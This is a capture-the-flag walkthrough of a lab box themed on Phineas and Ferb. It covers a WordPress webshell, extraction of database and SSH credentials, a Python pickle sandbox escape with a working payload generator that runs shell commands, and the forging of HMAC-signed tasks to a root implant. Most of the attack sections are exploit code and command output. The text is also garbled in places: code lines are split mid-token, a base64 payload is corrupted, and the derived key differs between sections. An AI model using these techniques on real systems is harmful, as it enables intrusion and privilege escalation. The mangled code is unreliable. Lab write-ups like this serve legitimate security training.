

EVILINC — "Agent P" Boot2Root Walkthrough

Session writeup: WordPress RCE → norm → vanessa → root | Target: http://10.49.139.112 (host: tryhackme-2404)

1. Overview

This document details the full exploitation of the EVILINC box (Doofenshmirtz Evil Incorporated, from Phineas and Ferb) at http://10.49.139.112 — a WordPress 6.9 host on Ubuntu 24.04 (hostname tryhackme-2404, kernel 7.0.0-1010-aws). Three flags were obtained: user (norm), operator (vanessa) and root. The path is: unauthenticated WordPress RCE (wp2shell) → read DB creds → SSH as norm (user flag) → read operator secret → restricted-pickle sandbox escape on the -inator Control Panel (operator flag) → reverse the root implant's homegrown crypto → forge a signed C2 task → root flag.

Public services: 22/tcp OpenSSH 9.6p1, 80/tcp Apache 2.4.58. Internal loopback service: gunicorn (Flask) on 127.0.0.1:8700 — the “-inator Control Panel”. Unix socket /run/evilinc/tasking.sock — the C2 tasking queue (root + vanessa).

2. All Secrets / Key Values

Item	Value
WP DB user / pass	wpuser / wp_WjURfdI (database: wordpress)
WP admin (created by wp2shell)	wp2_88ff51b38aa8 / Wp2!2dGCLZf3aqnU6B-GBr10
SSH norm	norm / N0rm_th3_r0b0t_2026 (group: norm, evilinc)
Operator secret (panel.conf)	b3hind_sch3dul3_th1s_m0nth
Operator token cookie	ce73de7cfa02d80495a882bd28191d3bf38e4c0bf03635451ae6b9f9fefef3f9
/etc/machine-id	ec237b10a5f6e959a3088340f9904b31
Implant rodata blob @0x2020	1588c57c026ae5eb9c2d1817af48f70964efff765e58d112d8f116d70f9941b4
LCG seed / mul / inc	0x1a2b3c4d / 0x41c64e6d / 0x3039, byte = (x>>16)&0xff
Derived C2 task MAC KEY	aa3e4980d20530450df2e4807cddc7a66f8391b79df9faaacde58b75bb483319
Users / groups	norm (uid 1001, evilinc 1001), vanessa (uid 1002, evilinc), ubuntu (1000); www-data (33)

3. Flags

User	Flag	Path
norm	EVILINC{n0rm_r34ds_th3_db_l1k3_4_g00d_r0b0t}	/home/norm/user.txt
operator	EVILINC{p1ckl3_s4ndb0x3s_4r3_n0t_s4ndb0x3s}	/home/vanessa/operator.txt

Root	EVILINC{d00f_r0ll3d_h1s_0wn_crypt0_4nd_p3rry_w0n}	/root/root.txt
------	---	----------------

4. Stage 0 — Foothold Recap (previous session)

Work from the earlier session (kept here for completeness):

Webshell endpoint:

```
http://10.49.139.112/wp-content/plugins/shellplug/shellplug.php?c=<cmd>
```

Convenience helper used throughout the session (URL-encodes the command):

```
ws() { curl -s -m 25 "http://10.49.139.112/wp-content/plugins/shellplug/shellplug.php?c=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$1&quot;ot;"); } }
```

5. Stage B — WordPress DB → SSH as norm → USER FLAG

5.1 Database credentials from wp-config.php

```
ws 'cat /var/www/html/wp-config.php' # DB_NAME=wordpress, DB_USER=wpuser, DB_PASSWORD=wp_WjURfdI
```

5.2 Discover wp_infra_accounts table

```
ws "mysql -uwpuser -pwp_WjURfdI -e 'use wordpress; show tables;'"

Tables_in_wordpress: wp_commentmeta wp_comments wp_infra_accounts wp_links wp_options wp_postmeta
wp_posts wp_term_relationships wp_term_taxonomy wp_termmeta wp_terms wp_usermeta wp_users

ws "mysql -uwpuser -pwp_WjURfdI -e 'use wordpress; describe wp_infra_accounts; select * from wp_infra_accounts;'"

host_user | host_pass | note
norm | N0rm_th3_r0b0t_2026 | ssh sync target for the -inator newsletter cron
```

5.3 SSH as norm

```
import paramiko
c = paramiko.SSHClient(); c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
c.connect("10.49.139.112", username="norm", password="N0rm_th3_r0b0t_2026")
stdin, stdout, stderr = c.exec_command(cmd)
print(stdout.read().decode()); c.close()
```

norm is a member of the **evilinc** group → can read the panel config:

```
$ id
uid=1001(norm) gid=1002(norm) groups=1002(norm),1001(evilinc)

$ cat /etc/evilinc/panel.conf
[panel]
operator_secret = b3hind_sch3dul3_th1s_m0nth
```

5.4 User flag

```
$ cat /home/norm/user.txt
EVILINC{n0rm_r34ds_th3_db_l1k3_4_g00d_r0b0t}
```

6. Stage C — Operator flag (vanessa) via pickle sandbox escape

The -inator Control Panel listens on loopback (gunicorn as vanessa, /usr/bin/gunicorn --bind 127.0.0.1:8700 --workers 2 app:app, WorkingDirectory /var/www/evilinc-panel).

6.1 Login and cookie

```
curl -s -c /tmp/cj.txt -X POST http://127.0.0.1:8700/api/login -d 'secret=b3hind_sch3dul3_th1s_m0nth'
# => {"ok":true} + Set-Cookie: op_token=ce73de7cfa02d80495a882bd28191d3bf38e4c0bf03635451ae6b9f9fefef3f9
```

All API calls below were executed through the webshell (as www-data) with the cookie jar, or directly as vanessa after RCE.

6.2 Endpoints

6.3 The leaky restricted unpickler

```
gASVRgAAAAAAB9lCiMBG5hbWUjA5Nb250aGx5IERpZ2VzdJSMCHNlY3Rpb25zLF2UKIwFaw50cm+UjAdzY2h1bWVzLIwFb3V0cm+UZ XUu # sample blueprint (base64)
```

Attempting a classic builtins RCE leaks the module blocklist:

```
POST /api/blueprints/import blueprint=<base64 of pickle with builtins.eval/__reduce__>
#
=> {"error":"import failed: blueprint references a blocked module: 'builtins',"ok":false}
```

Allowlist probing — a bare pickle that is just GLOBAL module\nattr\n + STOP (“cMODULE\nATTR\n.”) is loaded and repr’d when allowed:

```
b64 = base64.b64encode(b'c' + module + b'\n' + attr + b'\n.').decode()
# ALLOWED: io.BytesIO, io.open, pickle.Unpickler, _pickle.load, _pickle.Unpickler,
# func
tools.partial/reduce, codecs.encode, _codecs.encode, collections.*, copyreg.*,
# types.FunctionType/CodeType/SimpleNamespace, marshal.loads, threading.Thread,
# json/re/string/urllib.parse
/html/time/datetime/pathlib/ntpath/array/struct/zipfile,
# base64.b64decode, binascii.unhexlify, weakref.ref, signal.signal, app.app, werkzeug.run_simple
# BLOCKED: builtins, os, posix, subprocess, sys, operator, importlib, numpy
```

6.4 Sandbox escape — nested unrestricted unpickle

Construct an outer pickle that only uses allowed globals: `_pickle.load(io.BytesIO(inner))`. The inner bytes are passed as a BINBYTES constant (never inspected by the outer loader) and are then executed by the plain C “load”, which permits everything. Note: Python 3.12/3.13 removed the GETATTR opcode, so “Unpickler(...).load()” chaining is not available; `_pickle.load` takes a file object directly.

```
opcodes:
\x80\x04 # PROTO 4
c_pickle\nload\n # GLOBAL _pickle.load

cio\nBytesIO\n # GLOBAL io.BytesIO
B + <u32 LE length> + inner # BINBYTES (opcode 'B' = 0x42, NOT 'C'/SHORT_BINBYTES)
\x85 R # TUPL
```

```
E1 (arg must be a tuple for REDUCE), REDUCE -> BytesIO(inner)
\x85 R . # T
UPLE1, REDUCE -> _pickle.load(buf) ; STOP
```

Payload generator used for every vanessa command (mkcmd.py):

```
import pickle, struct, base64, sys
cmd = sys.argv[1]
class R:
    def __reduce__(self):

import subprocess
    return (subprocess.check_output, (['bash', '-c', c
md],))
inner = pickle.dumps(R())
s = bytearray(b'\x80\x04')
s += b'c_pickle\nload\n'
s += b'cio\nBytesIO\n'
s += b'B' + struct.pack('<I', len(inner)) + inner
s += b'\x85R\x85R.'
print(base64.b64encode(bytes(s)).decode())

ws "curl -s -b /tmp/cj.txt -X POST http://127.0.0.1:8700/api/blueprints/import --data-urlen
code blueprint=$B64"
```

Full base64 payload used to confirm RCE (id && ls -la /tmp | head -20):

```
gARjX3BpY2tsZQpsb2FkCmNpbWpCeXRlc0lPCKJlAAAAgASVWgAAAAAAACMnN1YnByb2Nlc3OUjAxjaGVja19v
dXRwdXS
Uk5RdlCiMBGJhc2iUjAItY5SMjGk0yBly2hvID09PTsgbHMgLWxhIC90bXAgfCBoZWZkIC0yMjRlZRS
LC6FUoVSLg==
```

Response — RCE as vanessa:

```
{"loaded": "b'uid=1002(vanessa) gid=1003(vanessa) groups=1003(vanessa),1001(evilinc)\\n===..."
```

Note: the import response reflects repr(obj)[:200], so command output comes back truncated to ~200 chars. Long files were read in 90-char chunks with: tail -c +N <file> | head -c 90

6.5 Operator flag

```
$ ls -al /home/vanessa
. . . .bash_history .bash_logout .bashrc .cache .gunicorn .profile .ssh .v
iminfo operator.txt

$ cat /home/vanessa/operator.txt
EVILINC{p1ckl3_s4ndb0x3s_4r3_n0t_s4ndb0x3s
}
```

7. Stage D — Root flag: reverse the implant, forge a signed C2 task

Systemd services (world-readable) reveal the attack surface:

```
evilinc-c2.service:      root   /usr/bin/python3 /opt/evilinc/c2/tasking_server.py (RuntimeDirectory=evilinc)
evilinc-implant.service: root   /opt/evilinc/implant (After/Requires evilinc-c2.service, Restart=always)
evilinc-heartbeat.service: root /usr/bin/python3 /opt/evilinc/c2/heartbeat.py
evilinc-panel.service:   vanessa unicorn 127.0.0.1:8700 (EIC_PANEL_CONF=/etc/evilinc/panel.conf)
```

/run/evilinc/tasking.sock is srw-rw---- root:vanessa → the implant (root) polls it and the C2 (root) answers. vanessa (and root) can connect to it.

7.1 Download and reverse the implant

```
$ ws 'base64 /opt/evilinc/implant' > implant.b64 && python3 -c "import base64; open('/tmp/opencode/implant', 'wb').write(base64.b64decode(open('7;implant.b64').read().replace('\n', '')))"
$ file implant
ELF 64-b
it LSB pie executable, x86-64, dynamically linked, stripped (14472 bytes)
$ strings -n 5 implant
| grep -iE 'poll|sock|machine|exec|sysinfo|END'
/etc/machine-id /run/evilinc/tasking.sock POLL %ld\n END |%s|%s|%s|%s exec sysinfo %02x
```

7.2 Protocol from the disassembly (objdump -d -M intel)

7.3 Recover the task MAC key

```
import hashlib, hmac
seed = 0x1a2b3c4d
blob = bytes.fromhex("1588c57c026ae5eb9c2d1817af48f70964efff765e58d112d8f116d70f9941b4")
x = seed; lcg = bytearray()
for i in range(32):
    x = (x * 0x41c64e6d + 0x3039) & 0xffffffff
    lcg.append((x >> 16) & 0xff)
K = bytes(a ^ b for a, b in zip(lcg, blob))
KEY = hmac.new(K, b"ec237b10a5f6e959a3088340f9904b31&quot;, hashlib.sha256).digest()
print(K.hex())
print(KEY.hex())

K = 4310b28058bce65bdba3a78f86105499694d8b8a105e24967899db58d64a7634
KEY = aa3e4980d20530450df2e4807cddc7a66f8391b79df9faacde58b75bb483319
```

7.4 Verify the key against live C2 traffic

```
# connect to the socket as vanessa, send a POLL, read queued tasks
import socket
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); s.connect("/run/evilinc/tasking.sock")
s.sendall(b"POLL 1\n"); print(s.recv(65536))
# => b'10|sysinfo|uptime|1000|2b33d3bf90'
```

```

540c999ecd917150e514240cc02cef3cd4fece3486790681103718\n
# 20|sysinfo|uptime|1001|0f9e75af082
404418e7eced42503f98b4a048591a242e7ef73a6627d60c2e54f\n'

hmac.new(KEY, b"10|sysinfo|uptime|1000", hashlib.sha256).hexdigest()
# => 2b33d3bf9
0540c999ecd917150e514240cc02cef3cd4fece3486790681103718 (MATCH)
hmac.new(KEY, b"20|sysinfo
|uptime|1001", hashlib.sha256).hexdigest()
# => 0f9e75af082404418e7eced42503f98b4a048591
a242e7ef73a6627d60c2e54f (MATCH)

```

7.5 Discover the SUBMIT verb

```

# brute a list of verbs against the socket
ADD      => ERR unknown verb
QUEUE    => ERR un
known verb
TASK      => ERR unknown verb
SUBMIT    => ERR expected id|type|cmd|nonce|sig
  <-- THE verb
ENQUEUE   => ERR unknown verb (etc.)

```

7.6 Forge and submit a root task

```

def sig(msg): return hmac.new(KEY, msg.encode(), hashlib.sha256).hexdigest()
task = "99999|
exec|id > /tmp/rce_test.txt 2>&1 && echo ROOT_OK >> /tmp/rce_test.txt|42
4242"
print("SUBMIT " + task + "|" + sig(task))

SUBMIT 99999|exec|id > /tmp/rce_test.txt 2>&1 && echo ROOT_OK >> /tmp/rc
e_test.txt|424242|f4bb7b756b4cc5d83033206f6deaf5b72874509e0166cf17f13557f90a49f5ef

# first attempt with small id failed: ERR id must exceed current max (use large ids)
# accepte
d: response b'OK\n'; the root implant polls every 3 s and executes the task

$ cat /tmp/rce_test.txt
uid=0(root) gid=0(root) groups=0(root)
ROOT_OK

```

7.7 Root flag

```

SUBMIT 100000|exec|cat /root/root.txt > /tmp/rf.txt && chmod 644 /tmp/rf.txt|424243|0
adfccf9bc4b73c355dd023ec9d740b8978a0790ffa873de9b5ea274a800e852

$ cat /tmp/rf.txt
EVILINC{d00f_r0ll3d_h1s_0wn_crypt0_4nd_p3rry_w0n}

```

8. Key files / artifacts

9. Author-side notes gleaned from the box

Writeup generated from the exploitation session. All payloads, responses and flags are verbatim from the engagement.